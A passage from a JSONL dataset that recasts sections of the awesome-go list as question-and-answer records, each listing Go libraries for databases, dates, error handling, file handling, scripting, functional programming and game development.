helper for Gorm ORM.\n- [libschema](https://github.com/muir/libschema) - Define your migrations separately in each library. Migrations for open source libraries. MySQL & PostgreSQL.\n- [migrate](https://github.com/golang-migrate/migrate) - Database migrations. CLI and Golang library.\n- [migrator](https://github.com/lopezator/migrator) - Dead simple Go database migration library.\n- [migrator](https://github.com/larapulse/migrator) - MySQL database migrator designed to run migrations to your features and manage database schema update with intuitive go code.\n- [schema](https://github.com/adlio/schema) - Library to embed schema migrations for database/sql-compatible databases inside your Go binaries.\n- [skeema](https://github.com/skeema/skeema) - Pure-SQL schema management system for MySQL, with support for sharding and external online schema change tools.\n- [soda](https://github.com/gobuffalo/pop/tree/master/soda) - Database migration, creation, ORM, etc... for MySQL, PostgreSQL, and SQLite.\n- [sql-migrate](https://github.com/rubenv/sql-migrate) - Database migration tool. Allows embedding migrations into the application using go-bindata.\n- [sqlize](https://github.com/sunary/sqlize) - Database migration generator. Allows generate sql migration from model and existing sql by differ them.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082447"}
{"id": "gh_2ec85fb3b835", "question": "How to: Database Tools", "question_body": "About avelino/awesome-go", "answer": "- [chproxy](https://github.com/Vertamedia/chproxy) - HTTP proxy for ClickHouse database.\n- [clickhouse-bulk](https://github.com/nikepan/clickhouse-bulk) - Collects small inserts and sends big requests to ClickHouse servers.\n- [database-gateway](https://github.com/kazhuravlev/database-gateway) - Running SQL in production with ACLs, logs, and shared links.\n- [dbbench](https://github.com/sj14/dbbench) - Database benchmarking tool with support for several databases and scripts.\n- [dg](https://github.com/codingconcepts/dg) - A fast data generator that produces CSV files from generated relational data.\n- [gatewayd](https://github.com/gatewayd-io/gatewayd) - Cloud-native database gateway and framework for building data-driven applications. Like API gateways, for databases.\n- [go-mysql](https://github.com/siddontang/go-mysql) - Go toolset to handle MySQL protocol and replication.\n- [gorm-multitenancy](https://github.com/bartventer/gorm-multitenancy) - Multi-tenancy support for GORM managed databases.\n- [hasql](https://golang.yandex/hasql) - Library for accessing multi-host SQL database installations.\n- [octillery](https://github.com/knocknote/octillery) - Go package for sharding databases ( Supports every ORM or raw SQL ).\n- [onedump](https://github.com/liweiyi88/onedump) - Database backup from different drivers to different destinations with one command and configuration.\n- [pg_timetable](https://github.com/cybertec-postgresql/pg_timetable) - Advanced scheduling for PostgreSQL.\n- [pgweb](https://github.com/sosedoff/pgweb) - Web-based PostgreSQL database browser.\n- [prep](https://github.com/hexdigest/prep) - Use prepared SQL statements without changing your code.\n- [pREST](https://github.com/prest/prest) - Simplify and accelerate development, ⚡ instant, realtime, high-performance on any Postgres application, existing or new.\n- [rdb](https://github.com/HDT3213/rdb) - Redis RDB file parser for secondary development and memory analysis.\n- [rwdb](https://github.com/andizzle/rwdb) - rwdb provides read replica capability for multiple database servers setup.\n- [vitess](https://github.com/youtube/vitess) - vitess provides servers and tools which facilitate scaling of MySQL databases for large scale web services.\n- [wescale](https://github.com/wesql/wescale) - WeScale is a database proxy designed to enhance the scalability, performance, security, and resilience of your applications.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082457"}
{"id": "gh_d8ed7d39cb11", "question": "How to: SQL Query Builders", "question_body": "About avelino/awesome-go", "answer": "_Libraries for building and using SQL._\n\n- [bqb](https://github.com/nullism/bqb) - Lightweight and easy to learn query builder.\n- [buildsqlx](https://github.com/arthurkushman/buildsqlx) - Go database query builder library for PostgreSQL.\n- [builq](https://github.com/cristalhq/builq) - Easily build SQL queries in Go.\n- [dbq](https://github.com/rocketlaunchr/dbq) - Zero boilerplate database operations for Go.\n- [Dotsql](https://github.com/gchaincl/dotsql) - Go library that helps you keep sql files in one place and use them with ease.\n- [gendry](https://github.com/didi/gendry) - Non-invasive SQL builder and powerful data binder.\n- [godbal](https://github.com/xujiajun/godbal) - Database Abstraction Layer (dbal) for go. Support SQL builder and get result easily.\n- [goqu](https://github.com/doug-martin/goqu) - Idiomatic SQL builder and query library.\n- [gosql](https://github.com/twharmon/gosql) - SQL Query builder with better null values support.\n- [Hotcoal](https://github.com/motrboat/hotcoal) - Secure your handcrafted SQL against injection.\n- [igor](https://github.com/galeone/igor) - Abstraction layer for PostgreSQL that supports advanced functionality and uses gorm-like syntax.\n- [jet](https://github.com/go-jet/jet) - Framework for writing type-safe SQL queries in Go, with ability to easily convert database query result into desired arbitrary object structure.\n- [obreron](https://github.com/profe-ajedrez/obreron) - Fast and cheap SQL builder which does only one thing, SQL building.\n- [ormlite](https://github.com/pupizoid/ormlite) - Lightweight package containing some ORM-like features and helpers for sqlite databases.\n- [ozzo-dbx](https://github.com/go-ozzo/ozzo-dbx) - Powerful data retrieval methods as well as DB-agnostic query building capabilities.\n- [patcher](https://github.com/Jacobbrewer1/patcher) - Powerful SQL Query builder that automatically generates SQL queries from structs.\n- [qry](https://github.com/HnH/qry) - Tool that generates constants from files with raw SQL queries.\n- [sg](https://github.com/go-the-way/sg) - A SQL Gen for generating standard SQLs(supports: CRUD) written in Go.\n- [sq](https://github.com/bokwoon95/go-structured-query) - Type-safe SQL builder and struct mapper for Go.\n- [sqlc](https://github.com/kyleconroy/sqlc) - Generate type-safe code from SQL.\n- [sqlf](https://github.com/leporo/sqlf) - Fast SQL query builder.\n- [sqlingo](https://github.com/lqs/sqlingo) - A lightweight DSL to build SQL in Go.\n- [sqrl](https://github.com/elgris/sqrl) - SQL query builder, fork of Squirrel with improved performance.\n- [Squalus](https://gitlab.com/qosenergy/squalus) - Thin layer over the Go SQL package that makes it easier to perform queries.\n- [Squirrel](https://github.com/Masterminds/squirrel) - Go library that helps you build SQL queries.\n- [xo](https://github.com/knq/xo) - Generate idiomatic Go code for databases based on existing schema definitions or custom queries supporting PostgreSQL, MySQL, SQLite, Oracle, and Microsoft SQL Server.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082469"}
{"id": "gh_17d58d9d84ef", "question": "How to: Interfaces to Multiple Backends", "question_body": "About avelino/awesome-go", "answer": "- [cayley](https://github.com/google/cayley) - Graph database with support for multiple backends.\n- [dsc](https://github.com/viant/dsc) - Datastore connectivity for SQL, NoSQL, structured files.\n- [dynamo](https://github.com/fogfish/dynamo) - A simple key-value abstraction to store algebraic and linked-data data types at AWS storage services: AWS DynamoDB and AWS S3.\n- [go-transaction-manager](https://github.com/avito-tech/go-transaction-manager) - Transaction manager with multiple adapters (sql, sqlx, gorm, mongo, ...) controls transaction boundaries.\n- [gokv](https://github.com/philippgille/gokv) - Simple key-value store abstraction and implementations for Go (Redis, Consul, etcd, bbolt, BadgerDB, LevelDB, Memcached, DynamoDB, S3, PostgreSQL, MongoDB, CockroachDB and many more).", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082475"}
{"id": "gh_e0c2a8e51d7a", "question": "How to: Relational Database Drivers", "question_body": "About avelino/awesome-go", "answer": "- [avatica](https://github.com/apache/calcite-avatica-go) - Apache Avatica/Phoenix SQL driver for database/sql.\n- [bgc](https://github.com/viant/bgc) - Datastore Connectivity for BigQuery for go.\n- [firebirdsql](https://github.com/nakagami/firebirdsql) - Firebird RDBMS SQL driver for Go.\n- [go-adodb](https://github.com/mattn/go-adodb) - Microsoft ActiveX Object DataBase driver for go that uses database/sql.\n- [go-mssqldb](https://github.com/denisenkom/go-mssqldb) - Microsoft MSSQL driver for Go.\n- [go-oci8](https://github.com/mattn/go-oci8) - Oracle driver for go that uses database/sql.\n- [go-rqlite](https://github.com/rqlite/gorqlite) - A Go client for rqlite, providing easy-to-use abstractions for working with the rqlite API.\n- [go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) - MySQL driver for Go.\n- [go-sqlite3](https://github.com/mattn/go-sqlite3) - SQLite3 driver for go that uses database/sql.\n- [go-sqlite3](https://github.com/ncruces/go-sqlite3) - This Go module is compatible with the database/sql driver. It allows embedding SQLite into your application, provides direct access to its C API, supports SQLite VFS, and also includes a GORM driver.\n- [godror](https://github.com/godror/godror) - Oracle driver for Go, using the ODPI-C driver.\n- [gofreetds](https://github.com/minus5/gofreetds) - Microsoft MSSQL driver. Go wrapper over [FreeTDS](https://www.freetds.org).\n- [KSQL](https://github.com/VinGarcia/ksql) - A Simple and Powerful Golang SQL Library.\n- [pgx](https://github.com/jackc/pgx) - PostgreSQL driver supporting features beyond those exposed by database/sql.\n- [pig](https://github.com/alexeyco/pig) - Simple [pgx](https://github.com/jackc/pgx) wrapper to execute and [scan](https://github.com/georgysavva/scany) query results easily.\n- [pq](https://github.com/lib/pq) - Pure Go Postgres driver for database/sql.\n- [Sqinn-Go](https://github.com/cvilsmeier/sqinn-go) - SQLite with pure Go.\n- [sqlhooks](https://github.com/qustavo/sqlhooks) - Attach hooks to any database/sql driver.\n- [sqlite](https://pkg.go.dev/modernc.org/sqlite) - Package sqlite is a sql/database driver using a CGo-free port of the C SQLite3 library.\n- [surrealdb.go](https://github.com/surrealdb/surrealdb.go) - SurrealDB Driver for Go.\n- [ydb-go-sdk](https://github.com/ydb-platform/ydb-go-sdk) - native and database/sql driver YDB (Yandex Database).", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082482"}
{"id": "gh_6ccc322e4133", "question": "How to: NoSQL Database Drivers", "question_body": "About avelino/awesome-go", "answer": "- [aerospike-client-go](https://github.com/aerospike/aerospike-client-go) - Aerospike client in Go language.\n- [arangolite](https://github.com/solher/arangolite) - Lightweight golang driver for ArangoDB.\n- [asc](https://github.com/viant/asc) - Datastore Connectivity for Aerospike for go.\n- [forestdb](https://github.com/couchbase/goforestdb) - Go bindings for ForestDB.\n- [go-couchbase](https://github.com/couchbase/go-couchbase) - Couchbase client in Go.\n- [go-mongox](https://github.com/chenmingyong0423/go-mongox) - A Go Mongo library based on the official driver, featuring streamlined document operations, generic binding of structs to collections, built-in CRUD, aggregation, automated field updates, struct validation, hooks, and plugin-based programming.\n- [go-pilosa](https://github.com/pilosa/go-pilosa) - Go client library for Pilosa.\n- [go-rejson](https://github.com/nitishm/go-rejson) - Golang client for redislabs' ReJSON module using Redigo golang client. Store and manipulate structs as JSON objects in redis with ease.\n- [gocb](https://github.com/couchbase/gocb) - Official Couchbase Go SDK.\n- [gocosmos](https://github.com/btnguyen2k/gocosmos) - REST client and standard `database/sql` driver for Azure Cosmos DB.\n- [gocql](https://gocql.github.io) - Go language driver for Apache Cassandra.\n- [godis](https://github.com/piaohao/godis) - redis client implement by golang, inspired by jedis.\n- [godscache](https://github.com/defcronyke/godscache) - A wrapper for the Google Cloud Platform Go Datastore package that adds caching using memcached.\n- [gomemcache](https://github.com/bradfitz/gomemcache/) - memcache client library for the Go programming language.\n- [gomemcached](https://github.com/aliexpressru/gomemcached) - A binary Memcached client for Go with support for sharding using consistent hashing, along with SASL.\n- [gorethink](https://github.com/dancannon/gorethink) - Go language driver for RethinkDB.\n- [goriak](https://github.com/zegl/goriak) - Go language driver for Riak KV.\n- [Kivik](https://github.com/go-kivik/kivik) - Kivik provides a common Go and GopherJS client library for CouchDB, PouchDB, and similar databases.\n- [mgm](https://github.com/kamva/mgm) - MongoDB model-based ODM for Go (based on official MongoDB driver).\n- [mgo](https://github.com/globalsign/mgo) - (unmaintained) MongoDB driver for the Go language that implements a rich and well tested selection of features under a very simple API following standard Go idioms.\n- [mongo-go-driver](https://github.com/mongodb/mongo-go-driver) - Official MongoDB driver for the Go language.\n- [neo4j](https://github.com/cihangir/neo4j) - Neo4j Rest API Bindings for Golang.\n- [neoism](https://github.com/jmcvetta/neoism) - Neo4j client for Golang.\n- [qmgo](https://github.com/qiniu/qmgo) - The MongoDB driver for Go. It‘s based on official MongoDB driver but easier to use like Mgo.\n- [redeo](https://github.com/bsm/redeo) - Redis-protocol compatible TCP servers/services.\n- [redigo](https://github.com/gomodule/redigo) - Redigo is a Go client for the Redis database.\n- [redis](https://github.com/redis/go-redis) - Redis client for Golang.\n- [rueidis](http://github.com/rueian/rueidis) - Fast Redis RESP3 client with auto pipelining and server-assisted client side caching.\n- [xredis](https://github.com/shomali11/xredis) - Typesafe, customizable, clean & easy to use Redis client.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082495"}
{"id": "gh_bf71496af043", "question": "How to: Search and Analytic Databases", "question_body": "About avelino/awesome-go", "answer": "- [clickhouse-go](https://github.com/ClickHouse/clickhouse-go/) - ClickHouse SQL client for Go with a `database/sql` compatibility.\n- [effdsl](https://github.com/sdqri/effdsl) - Elasticsearch query builder for Go.\n- [elastic](https://github.com/olivere/elastic) - Elasticsearch client for Go.\n- [elasticsql](https://github.com/cch123/elasticsql) - Convert sql to elasticsearch dsl in Go.\n- [elastigo](https://github.com/mattbaird/elastigo) - Elasticsearch client library.\n- [go-elasticsearch](https://github.com/elastic/go-elasticsearch) - Official Elasticsearch client for Go.\n- [goes](https://github.com/OwnLocal/goes) - Library to interact with Elasticsearch.\n- [skizze](https://github.com/seiflotfy/skizze) - probabilistic data-structures service and storage.\n- [zoekt](https://github.com/sourcegraph/zoekt) - Fast trigram based code search.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082501"}
{"id": "gh_f97a771f35be", "question": "How to: Date and Time", "question_body": "About avelino/awesome-go", "answer": "_Libraries for working with dates and times._\n\n- [approx](https://github.com/goschtalt/approx) - A Duration extension supporting parsing/printing durations in days, weeks and years.\n- [carbon](https://github.com/dromara/carbon) - A simple, semantic and developer-friendly time package for golang.\n- [carbon](https://github.com/uniplaces/carbon) - Simple Time extension with a lot of util methods, ported from PHP Carbon library.\n- [cronrange](https://github.com/1set/cronrange) - Parses Cron-style time range expressions, checks if the given time is within any ranges.\n- [date](https://github.com/rickb777/date) - Augments Time for working with dates, date ranges, time spans, periods, and time-of-day.\n- [dateparse](https://github.com/araddon/dateparse) - Parse date's without knowing format in advance.\n- [durafmt](https://github.com/hako/durafmt) - Time duration formatting library for Go.\n- [feiertage](https://github.com/wlbr/feiertage) - Set of functions to calculate public holidays in Germany, incl. specialization on the states of Germany (Bundesländer). Things like Easter, Pentecost, Thanksgiving...\n- [go-anytime](https://github.com/ijt/go-anytime) - Parse dates/times like \"next dec 22nd at 3pm\" and ranges like \"from today until next thursday\" without knowing the format in advance.\n- [go-datebin](https://github.com/deatil/go-datebin) - A simple datetime parse pkg.\n- [go-faketime](https://github.com/harkaitz/go-faketime) - A simple `time.Now()` that honors the faketime(1) utility.\n- [go-persian-calendar](https://github.com/yaa110/go-persian-calendar) - The implementation of the Persian (Solar Hijri) Calendar in Go (golang).\n- [go-str2duration](https://github.com/xhit/go-str2duration) - Convert string to duration. Support time.Duration returned string and more.\n- [go-sunrise](https://github.com/nathan-osman/go-sunrise) - Calculate the sunrise and sunset times for a given location.\n- [go-week](https://github.com/stoewer/go-week) - An efficient package to work with ISO8601 week dates.\n- [gostradamus](https://github.com/bykof/gostradamus) - A Go package for working with dates.\n- [iso8601](https://github.com/relvacode/iso8601) - Efficiently parse ISO8601 date-times without regex.\n- [kair](https://github.com/GuilhermeCaruso/kair) - Date and Time - Golang Formatting Library.\n- [now](https://github.com/jinzhu/now) - Now is a time toolkit for golang.\n- [strftime](https://github.com/awoodbeck/strftime) - C99-compatible strftime formatter.\n- [timespan](https://github.com/SaidinWoT/timespan) - For interacting with intervals of time, defined as a start time and a duration.\n- [timeutil](https://github.com/leekchan/timeutil) - Useful extensions (Timedelta, Strftime, ...) to the golang's time package.\n- [tuesday](https://github.com/osteele/tuesday) - Ruby-compatible Strftime function.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082512"}
{"id": "gh_5da993ec1bdd", "question": "How to: Dynamic DNS", "question_body": "About avelino/awesome-go", "answer": "_Tools for updating dynamic DNS records._\n\n- [DDNS](https://github.com/skibish/ddns) - Personal DDNS client with Digital Ocean Networking DNS as backend.\n- [dyndns](https://gitlab.com/alcastle/dyndns) - Background Go process to regularly and automatically check your IP Address and make updates to (one or many) Dynamic DNS records for Google domains whenever your address changes.\n- [GoDNS](https://github.com/timothyye/godns) - A dynamic DNS client tool, supports DNSPod & HE.net, written in Go.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082543"}
{"id": "gh_d95406dd8f6b", "question": "How to: Embeddable Scripting Languages", "question_body": "About avelino/awesome-go", "answer": "_Embedding other languages inside your go code._\n\n- [anko](https://github.com/mattn/anko) - Scriptable interpreter written in Go.\n- [binder](https://github.com/alexeyco/binder) - Go to Lua binding library, based on [gopher-lua](https://github.com/yuin/gopher-lua).\n- [cel-go](https://github.com/google/cel-go) - Fast, portable, non-Turing complete expression evaluation with gradual typing.\n- [ecal](https://github.com/krotik/ecal) - A simple embeddable scripting language which supports concurrent event processing.\n- [expr](https://github.com/antonmedv/expr) - Expression evaluation engine for Go: fast, non-Turing complete, dynamic typing, static typing.\n- [FrankenPHP](https://github.com/dunglas/frankenphp) - PHP embedded in Go, with a `net/http` handler.\n- [gentee](https://github.com/gentee/gentee) - Embeddable scripting programming language.\n- [gisp](https://github.com/jcla1/gisp) - Simple LISP in Go.\n- [go-lua](https://github.com/Shopify/go-lua) - Port of the Lua 5.2 VM to pure Go.\n- [go-php](https://github.com/deuill/go-php) - PHP bindings for Go.\n- [goal](https://codeberg.org/anaseto/goal) - An embeddable scripting array language.\n- [goja](https://github.com/dop251/goja) - ECMAScript 5.1(+) implementation in Go.\n- [golua](https://github.com/aarzilli/golua) - Go bindings for Lua C API.\n- [gopher-lua](https://github.com/yuin/gopher-lua) - Lua 5.1 VM and compiler written in Go.\n- [gval](https://github.com/PaesslerAG/gval) - A highly customizable expression language written in Go.\n- [metacall](https://github.com/metacall/core) - Cross-platform Polyglot Runtime which supports NodeJS, JavaScript, TypeScript, Python, Ruby, C#, WebAssembly, Java, Cobol and more.\n- [ngaro](https://github.com/db47h/ngaro) - Embeddable Ngaro VM implementation enabling scripting in Retro.\n- [prolog](https://github.com/ichiban/prolog) - Embeddable Prolog.\n- [purl](https://github.com/ian-kent/purl) - Perl 5.18.2 embedded in Go.\n- [starlark-go](https://github.com/google/starlark-go) - Go implementation of Starlark: Python-like language with deterministic evaluation and hermetic execution.\n- [starlet](https://github.com/1set/starlet) - Go wrapper for [starlark-go](https://github.com/google/starlark-go) that simplifies script execution, offers data conversion, and useful Starlark libraries and extensions.\n- [tengo](https://github.com/d5/tengo) - Bytecode compiled script language for Go.\n- [Wa/凹语言](https://github.com/wa-lang/wa) - The Wa Programming Language embedded in Go.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082557"}
{"id": "gh_6a2e99667ca2", "question": "How to: Error Handling", "question_body": "About avelino/awesome-go", "answer": "_Libraries for handling errors._\n\n- [emperror](https://github.com/emperror/emperror) - Error handling tools and best practices for Go libraries and applications.\n- [eris](https://github.com/rotisserie/eris) - A better way to handle, trace, and log errors in Go. Compatible with the standard error library and github.com/pkg/errors.\n- [errlog](https://github.com/snwfdhmp/errlog) - Hackable package that determines responsible source code for an error (and some other fast-debugging features). Pluggable to any logger in-place.\n- [errors](https://github.com/emperror/errors) - Drop-in replacement for the standard library errors package and github.com/pkg/errors. Provides various error handling primitives.\n- [errors](https://github.com/neuronlabs/errors) - Simple golang error handling with classification primitives.\n- [errors](https://github.com/PumpkinSeed/errors) - The most simple error wrapper with awesome performance and minimal memory overhead.\n- [errors](https://gitlab.com/tozd/go/errors) - Providing errors with a stack trace and optional structured details. Compatible with github.com/pkg/errors API but does not use it internally.\n- [errors](https://github.com/naughtygopher/errors) - Drop-in replacement for builtin Go errors. This is a minimal error handling package with custom error types, user friendly messages, Unwrap & Is. With very easy to use and straightforward helper functions.\n- [errors](https://github.com/cockroachdb/errors) - Go error library with error portability over the network.\n- [errorx](https://github.com/joomcode/errorx) - A feature rich error package with stack traces, composition of errors and more.\n- [exception](https://github.com/rbrahul/exception) - A simple utility package for exception handling with try-catch in Golang.\n- [Falcon](https://github.com/SonicRoshan/falcon) - A Simple Yet Highly Powerful Package For Error Handling.\n- [Fault](https://github.com/Southclaws/fault) - An ergonomic mechanism for wrapping errors in order to facilitate structured metadata and context for error values.\n- [go-multierror](https://github.com/hashicorp/go-multierror) - Go (golang) package for representing a list of errors as a single error.\n- [metaerr](https://github.com/quantumcycle/metaerr) - A library to create your custom error builders producing structured errors with metadata from different sources and optional stacktraces.\n- [multierr](https://github.com/uber-go/multierr) - Package for representing a list of errors as a single error.\n- [oops](https://github.com/samber/oops) - Error handling with context, stack trace and source fragments.\n- [tracerr](https://github.com/ztrue/tracerr) - Golang errors with stack trace and source fragments.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082567"}
{"id": "gh_1719aabfcab9", "question": "How to: File Handling", "question_body": "About avelino/awesome-go", "answer": "_Libraries for handling files and file systems._\n\n- [afero](https://github.com/spf13/afero) - FileSystem Abstraction System for Go.\n- [afs](https://github.com/viant/afs) - Abstract File Storage (mem, scp, zip, tar, cloud: s3, gs) for Go.\n- [baraka](https://github.com/xis/baraka) - A library to process http file uploads easily.\n- [checksum](https://github.com/codingsince1985/checksum) - Compute message digest, like MD5, SHA256, SHA1, CRC or BLAKE2s, for large files.\n- [copy](https://github.com/otiai10/copy) - Copy directory recursively.\n- [fastwalk](https://github.com/charlievieth/fastwalk) - Fast parallel directory traversal library (used by [fzf](https://github.com/junegunn/fzf)).\n- [flop](https://github.com/homedepot/flop) - File operations library which aims to mirror feature parity with [GNU cp](https://www.gnu.org/software/coreutils/manual/html_node/cp-invocation.html).\n- [gdu](https://github.com/dundee/gdu) - Disk usage analyzer with console interface.\n- [go-csv-tag](https://github.com/artonge/go-csv-tag) - Load csv file using tag.\n- [go-decent-copy](https://github.com/hugocarreira/go-decent-copy) - Copy files for humans.\n- [go-exiftool](https://github.com/barasher/go-exiftool) - Go bindings for ExifTool, the well-known library used to extract as much metadata as possible (EXIF, IPTC, ...) from files (pictures, PDF, office, ...).\n- [go-gtfs](https://github.com/artonge/go-gtfs) - Load gtfs files in go.\n- [go-wkhtmltopdf](https://github.com/SebastiaanKlippert/go-wkhtmltopdf) - A package to convert an HTML template to a PDF file.\n- [gofs](https://github.com/no-src/gofs) - A cross-platform real-time file synchronization tool out of the box.\n- [gulter](https://github.com/adelowo/gulter) - A simple HTTP middleware to automatically handle all your file upload needs\n- [gut/yos](https://github.com/1set/gut) - Simple and reliable package for file operations like copy/move/diff/list on files, directories and symbolic links.\n- [higgs](https://github.com/dastoori/higgs) - A tiny cross-platform Go library to hide/unhide files and directories.\n- [iso9660](https://github.com/kdomanski/iso9660) - A package for reading and creating ISO9660 disk images\n- [notify](https://github.com/rjeczalik/notify) - File system event notification library with simple API, similar to os/signal.\n- [opc](https://github.com/qmuntal/opc) - Load Open Packaging Conventions (OPC) files for Go.\n- [parquet](https://github.com/parsyl/parquet) - Read and write [parquet](https://parquet.apache.org) files.\n- [pathtype](https://github.com/jonchun/pathtype) - Treat paths as their own type instead of using strings.\n- [pdfcpu](https://github.com/pdfcpu/pdfcpu) - PDF processor.\n- [skywalker](https://github.com/dixonwille/skywalker) - Package to allow one to concurrently go through a filesystem with ease.\n- [todotxt](https://github.com/1set/todotxt) - Go library for Gina Trapani's [_todo.txt_](http://todotxt.org/) files, supports parsing and manipulating of task lists in the [_todo.txt_ format](https://github.com/todotxt/todo.txt).\n- [vfs](https://github.com/C2FO/vfs) - A pluggable, extensible, and opinionated set of filesystem functionality for Go across a number of filesystem types such as os, S3, and GCS.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082579"}
{"id": "gh_846b9eec5bc0", "question": "How to: Functional", "question_body": "About avelino/awesome-go", "answer": "_Packages to support functional programming in Go._\n\n- [fp-go](https://github.com/repeale/fp-go) - Collection of Functional Programming helpers powered by Golang 1.18+ generics.\n- [fpGo](https://github.com/TeaEntityLab/fpGo) - Monad, Functional Programming features for Golang.\n- [fuego](https://github.com/seborama/fuego) - Functional Experiment in Go.\n- [FuncFrog](https://github.com/koss-null/FuncFrog) - Functional helpers library providing Map, Filter, Reduce and other stream operations on generic slices Go1.18+ with lazy evaluation and error handling mechanisms.\n- [go-functional](https://github.com/BooleanCat/go-functional) - Functional programming in Go using generics\n- [go-underscore](https://github.com/tobyhede/go-underscore) - Useful collection of helpfully functional Go collection utilities.\n- [gofp](https://github.com/rbrahul/gofp) - A lodash like powerful utility library for Golang.\n- [mo](https://github.com/samber/mo) - Monads and popular FP abstractions, based on Go 1.18+ Generics (Option, Result, Either...).\n- [underscore](https://github.com/rjNemo/underscore) - Functional programming helpers for Go 1.18 and beyond.\n- [valor](https://github.com/phelmkamp/valor) - Generic option and result types that optionally contain a value.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082593"}
{"id": "gh_05bddbad0c7f", "question": "How to: Game Development", "question_body": "About avelino/awesome-go", "answer": "_Awesome game development libraries._\n\n- [Ark](https://github.com/mlange-42/ark) - Archetype-based Entity Component System (ECS) for Go.\n- [Ebitengine](https://github.com/hajimehoshi/ebiten) - dead simple 2D game engine in Go.\n- [ecs](https://github.com/andygeiss/ecs) - Build your own Game-Engine based on the Entity Component System concept in Golang.\n- [engo](https://github.com/EngoEngine/engo) - Engo is an open-source 2D game engine written in Go. It follows the Entity-Component-System paradigm.\n- [fantasyname](https://github.com/s0rg/fantasyname) - Fantasy names generator.\n- [g3n](https://github.com/g3n/engine) - Go 3D Game Engine.\n- [go-astar](https://github.com/beefsack/go-astar) - Go implementation of the A\\* path finding algorithm.\n- [go-sdl2](https://github.com/veandco/go-sdl2) - Go bindings for the [Simple DirectMedia Layer](https://www.libsdl.org/).\n- [go3d](https://github.com/ungerik/go3d) - Performance oriented 2D/3D math package for Go.\n- [gonet](https://github.com/xtaci/gonet) - Game server skeleton implemented with golang.\n- [goworld](https://github.com/xiaonanln/goworld) - Scalable game server engine, featuring space-entity framework and hot-swapping.\n- [grid](https://github.com/s0rg/grid) - Generic 2D grid with ray-casting, shadow-casting and path finding.\n- [Leaf](https://github.com/name5566/leaf) - Lightweight game server framework.\n- [nano](https://github.com/lonng/nano) - Lightweight, facility, high performance golang based game server framework.\n- [Oak](https://github.com/oakmound/oak) - Pure Go game engine.\n- [Pi](https://github.com/elgopher/pi) - Game engine for creating retro games for modern computers. Inspired by Pico-8 and powered by Ebitengine.\n- [Pitaya](https://github.com/topfreegames/pitaya) - Scalable game server framework with clustering support and client libraries for iOS, Android, Unity and others through the C SDK.\n- [Pixel](https://github.com/gopxl/pixel) - Hand-crafted 2D game library in Go.\n- [prototype](https://github.com/gonutz/prototype) - Cross-platform (Windows/Linux/Mac) library for creating desktop games using a minimal API.\n- [raylib-go](https://github.com/gen2brain/raylib-go) - Go bindings for [raylib](https://www.raylib.com/), a simple and easy-to-use library to learn videogames programming.\n- [termloop](https://github.com/JoelOtter/termloop) - Terminal-based game engine for Go, built on top of Termbox.\n- [tile](https://github.com/kelindar/tile) - Data-oriented and cache-friendly 2D Grid library (TileMap), includes pathfinding, observers and import/export.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082603"}
